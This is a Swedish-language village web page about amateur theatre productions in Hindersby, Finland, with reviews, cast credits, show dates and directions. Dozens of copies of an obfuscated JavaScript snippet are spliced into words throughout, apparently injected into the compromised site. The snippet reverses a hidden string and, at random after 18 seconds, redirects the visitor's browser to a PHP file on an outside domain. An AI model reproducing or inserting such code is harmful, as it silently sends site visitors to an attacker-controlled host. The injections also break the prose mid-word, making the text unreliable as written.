He ha vari – å e – eitt härrans liiv i Hindersby. Den fjärde pjäsen av Isa som går till grunden för byns existens och behandlar dess uppkomst och his$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toria visar att teatern blivit rutinerad och säker. Pjäsförfattaren, regissören, skådespelarna och inte minst klädskaparna och folket bakom scenen når med årets föreställning nya höjder och sällar sej till proffsens skara – trots att allting sköts på frivillig väg.

Teatern når redan långt ut över byns gränser. Publiken består av idel obekanta personer från när och fjärran. Jag är ingen teatermänniska men vill nog påstå att Hindersby börjar närma sej Närpes teater  med de legendariska föreställningarna på 60-talet som jag faktiskt sett. Och det är inte fy skam … Mången institutionsteater blev omkörd av Närpes amatörer.

Premiären gick fint och utan osäkerhet. De senaste föreställningarna håller samma höga klass. Eftersom jag filmar alla (på video) så kan jag jämföra. Intressant är förstås att se de små olikheterna mellan föreställningarna. Och publiken är olika. Gårdagens publik var mycket mera med i pjäsen än fredagens. Men så var det också mera från byarna run$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tomkring och yngre än på fredagen. Förstås har det betydelse om man växt upp här i byarna.

Kolla in Isa längst ned.

Det har varit besvärligt att fo$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tografera mot den mörka bakgrunden (som annars fungerat fint). Tyvärr har scener där det händer mycket och snabbt inte blivit bra på grund av lång slutartid på kameran. Det går att ta ut stillbilder från videon men det har jag inte hunnit med eftersom jag måste få igång skogsmaskinerna medan det ännu är vinter. Så jag har koncentrerat mej på att dokumentera i råfilm och hoppas hinna bearbeta senare. Rubb och stubb finns i det nya fo$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toalbumet

<a href="http://hindersby.net7/pho$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>http://hindersby.net7/pho$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to  (klicka)

Video har jag inte laddat upp från föreställningarna än för det tar en evinnerlig tid. Men jag hoppas hinna med det senare så att hindersbyggar i förskingringen som inte kan komma med till Lokaaln kan se pjäsen i alla fall.

Nu är det dags för premiär för Hindersby teaters s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tora his$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toriska bakåtblick “Ett Herrans Liv” om den svenska tiden i Hindersby från det de första odlarna kom till ryska tidens början. En fantastisk his$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torielektion om en tid som knappta alls lärs ut mer i skolorna.

Men det finns också vrakplundrare från Borgå skärgård som blir duktiga lotsar på Reimars då Harpån tar den i örat och präntar in herrans tukt och folkvett.

De första nybyggarna anländer och prövar jordmånen och lyssnar på underjorden för då trodde man allämnt på vättar och troll.

Och så finns det med en mängd svenska kungar (alla spelade av Robert Jordas även om man inte skulle tro det). Erik den Helige och en ganska så råbarkad Birgel Jarl inleder men till sist kommer teaterkungen Gustaf III.

Gustaf II Adolf måste också ihågkommas.

De litet mindre hindersbyggarna visar lekar från 1400-talet.

För det internationella inslaget står viborgare, ryssar, tyskar och danskar på Abborfors marknad.

Det är ju inte någon gravallvarlig pjäs även om knektänkan döms till döden på tinget.

Till sist presenterar sej Alexander I och Napoleon och det framkommer vad som eftervärlden minns dem för. Men det berättar jag inte utan kom och se själva …

 

Alla biljetter slut u$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom till sista föreställningen 3.2 kl. 19 !  För utsocknes med naviga$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tor är adressen: Hopenbackvägen 12 och kommunen Lappträsk. Annars är det bara att köra till Hindersby (ta av från Riksväg 6 i Lappträsk vid skylten Hindersby) och svänga av vid den s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tora skylten med Hopenbackan och så kommer genast  Lokaaln (det s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tora huset uppe på backen).

<!-- @page { margin: 2cm } P { margin-bot$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom: 0.21cm; direction: ltr; color: #000000; text-align: left; widows: 0; orphans: 0 } P.western { font-size: 12pt; so-language: sv-SE } P.cjk { font-size: 12pt; so-language: zh-CN } P.ctl { font-size: 12pt; so-language: hi-IN } -->

Fritt fram på sextiotalet!

Alla var fulla. Av hopp.

 

En nyskriven pjäs av Isa Stenberg

Regi Robert Jordas

Regiassistent Mikaela Strömberg-Schalin

Scenografi Berit Husberg Ljudinspelning Istvan Stenberg

Ljusdesign Robin Bäckman Ljuddesign Jonas Randers

Ljudtekniker Christian Svenskberg Sufflös Helena Tallberg

I rollerna 25 vuxna och 15 ungdomar (se programbladet)

 

”Fritt fram på sextiotalet” berättar om livet i Hindersby, en liten by på den finlandssvenska landsbygden. Pjäsen handlar om människor som levde i byn under sextiotalet, hoppets årtionde. Alla som medverkar i föreställningen lever i byn idag eller har anknytning till byn.

 

Pjäsen är den tredje delen i en trilogi, där de tidigare pjäserna utspelat sig på fyrtio-och femtiotalet. I ”Fritt fram på sextiotalet” har det gått ca 20 år sedan kriget. Nu funderar bl.a. byns ungdomar över sina rättigheter och några motvilliga äkta män sänds i jämställdhetens tecken på matlagnings-kurs. Damklubben gör sin första utlandsresa och bekantar sig med kaptenen och några udda svenska män ombord på Bore III. På Hindersby post ges personlig service med varm hand av en beskäftig postfröken. Kvinnofrågan tas upp av några munviga unga damer medan de förbereder sitt svåra konststycke inför årets sedvanliga Brandkårsfest. Mellan de olika scenerna kommer ridåhalaren in med omvälvande världsnyheter från sextiotalet och lite annat därtill. Det är Robert Jordas som gör rollen som en nutida stå-uppare. Tidsenlig musik och snuttar av slagdängor från sextiotalet går genom hela pjäsen.

 

Vi utlovar en rolig teaterkväll med många originella figurer på scenen.

Det mesta går på hindersbysprååtji.

 

Föreställningen blir ungefär 2 timmar med paus.

Biljettpris 15 euro. Kaffe och bulle i pausen ingår i biljettpriset.

Pjäsen är en så kallad vuxenpjäs. Inte avsedd för barn.

Urpremiär 18 januari kl 18.00 på Hemborg i Hindersby.

Följande föreställningar:

lö 19 kl. 18.00 Sö 20 kl. 15.00 Lö 26 kl. 18.00 Sö 27 kl. 18.00

Lö 2 febr kl.18.00 Sö 3 febr kl.15.00 Med eventuell förlängning av spelperioden.

 

VÄLKOMMEN!<

Hindersby börjar bli riktigt rutinerat på teater. Nypremiären förra fredagen gick utmärkt och vi klarade oss utan större blamager på lördag och söndag också. Alla kvällarna gick för fulla hus – speciellt söndagen då ljudteknikerna nästan hade publiken i knät.

Totalt var det nästan 400 som såg pjäsen “Om tetta vil vi beretta” den här gången så allt som allt börjar vi närma oss tusen …

Nu är alla trötta och måste få vila ut men månne inte teaterlusten återvänder sedan igen ? Kommentarerna var odelat positiva.

Det finns ännu litet att plöja men sedan börjar det lacka mot jul och skogsarbete. Lovisa svenska samskola firar på lördag 100 år – vilket också är ett viktigt jubileum i bygden.

 

Isas pjäs drog fulla hus i de tre dagar den gick. Det blir knappast extraföreställning – alla är alldeles slut och så börjar Liljendalrevyn snart. Men både lördagens och söndagens föreställningar är på digital video så bara vi hinner redigera dem så kommer en DVD – men inte genast …

I främsta raden bredvid mittgången sitter Strömbergs Gretel (röd kofta) och Västergårds Edit (vit kofta) som börjar närma sej de hundra men är i full gång och har gott humör.

Läs programbladet här

 

I går hade “Åm tetta vil vi beretta” urpremiär i Hindersby och allt gick  som på räls. Den fullsatta salen skrattade gott åt tanterna i Handelslaget och vid byksköljningen i isvaken – speciellt de äldre som kände igen situationen. Lördagen är slutsåld men på söndag kanske det ännu finns någon plats.

Här överräcker Isa en blomma åt Robert Jordas som varit med och regisserat – speciellt då Isa drabbades av en svår influensa. Robert spelar Sigge Strömberg – och bor i Sigges gamla hus vid åbron …

”Om Tetta Vill Vi Berätta”

en nyskriven pjäs av Isa Stenberg på Hindersby dialekt.

Pjäsen utspelar sig Hindersby-Bäckby för 70 år sedan och berättar om hur livet gestaltade sig i byn under kriget då männen var vid fronten och om byns kvinnor, som fick ta hand om det tunga arbetet både ute och inne och samtidigt fostra barnen.

I början av pjäsen befinner vi oss  i skolsalen i Hindersby-Bäckby Folkskola då kriget bryter ut 1939 och i slutet av första akten i samma skolsal då vapenvilan kom 1944.  Däremellan skildras de hemmavarandes liv och arbete och ständiga oro och ängslan för de nära och kära vid fronten. Allt gestaltas med värme och humor och visar på den sisu och arbetsberedskap som bysborna hade då, för att klara av livet på hemmafronten.

Andra akten skildrar efterkrigstiden fram till början av 50-talet, då byns s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tora begåvade konstnär Sigge Strömberg grundade Hopenback Lekstrand och arrangerade de berömda s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torslagna utefesterna, som så att säga satte Hindersby på världskartan.

Många av byns människor nämns vid namn i pjäsen, några lever ännu, andra är borta. Även Ris$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to Ryti och Marskalk Mannerheim skymtar fram.

Manus och idè av Isa Stenberg samt regi – under hösten fram till december då influensan tvingade henne till ett längre avbrott. Skådespelare Robert Jordas var bussig nog att ställa upp och räddade projektet genom att ta över regin och arbeta klart de olika scenerna.  Nu är Isa tillbaka och de arbetar jämsides som ett radarpar på slutrakan. Premiär den 6 mars.

För scenografin svarar Berit Husberg med snickarhjälp av Karl Erik Brusas och Lars Erik Sundsten. Musiken har Isa hittat från olika arkiv, det ska vara 40-tals låtar så långt det går. Nisse Husberg har skannat in fo$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton från byn och de kommer att visas som projektioner under scenbytena.

16 vuxna personer från Hindersby och Bäckby medverkar och alternerar i 29 olika roller samt 17 barn och ungdomar.

För ljud och ljus ansvarar Jonas Randers. Även Petri Junna är scentekniker.  Bakom scenen arbetar även ett antal personer och sammanlagt är det närmare 50 teaterentusiaster som deltar i detta bya-teaterprojekt.

Arrangör är Uf. Hembygdens Hopp.  MI stöder projektet och det ingår i kursplanen.

 

Repetitioner pågår !

I början på mars kommer den nya teatern i Hindersby att ha premiär enligt envisa rykten. Intensiva repetitioner pågår på Hemborg  och vår paparazzifo$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tograf lyckades smuggla in en kamera och ta ett fo$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tografi som visar en scen från Hindersby-Bäckby handelslag mitt under brinnande krig …

 

Repetitionerna fortsätter med den s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tora ensemblen under ledning av Stenbergs Isa och Jordas Robert … En mängd high-tech rekvisita kommer att användas i årets pjäs.

 

 

Djev int ett !

Stenbergs Isa från Mosabackan har satt upp en teater inför lillajulsfesten

SÖNDAGEN den 2 december klockan 16

på Hemborg i Hindersby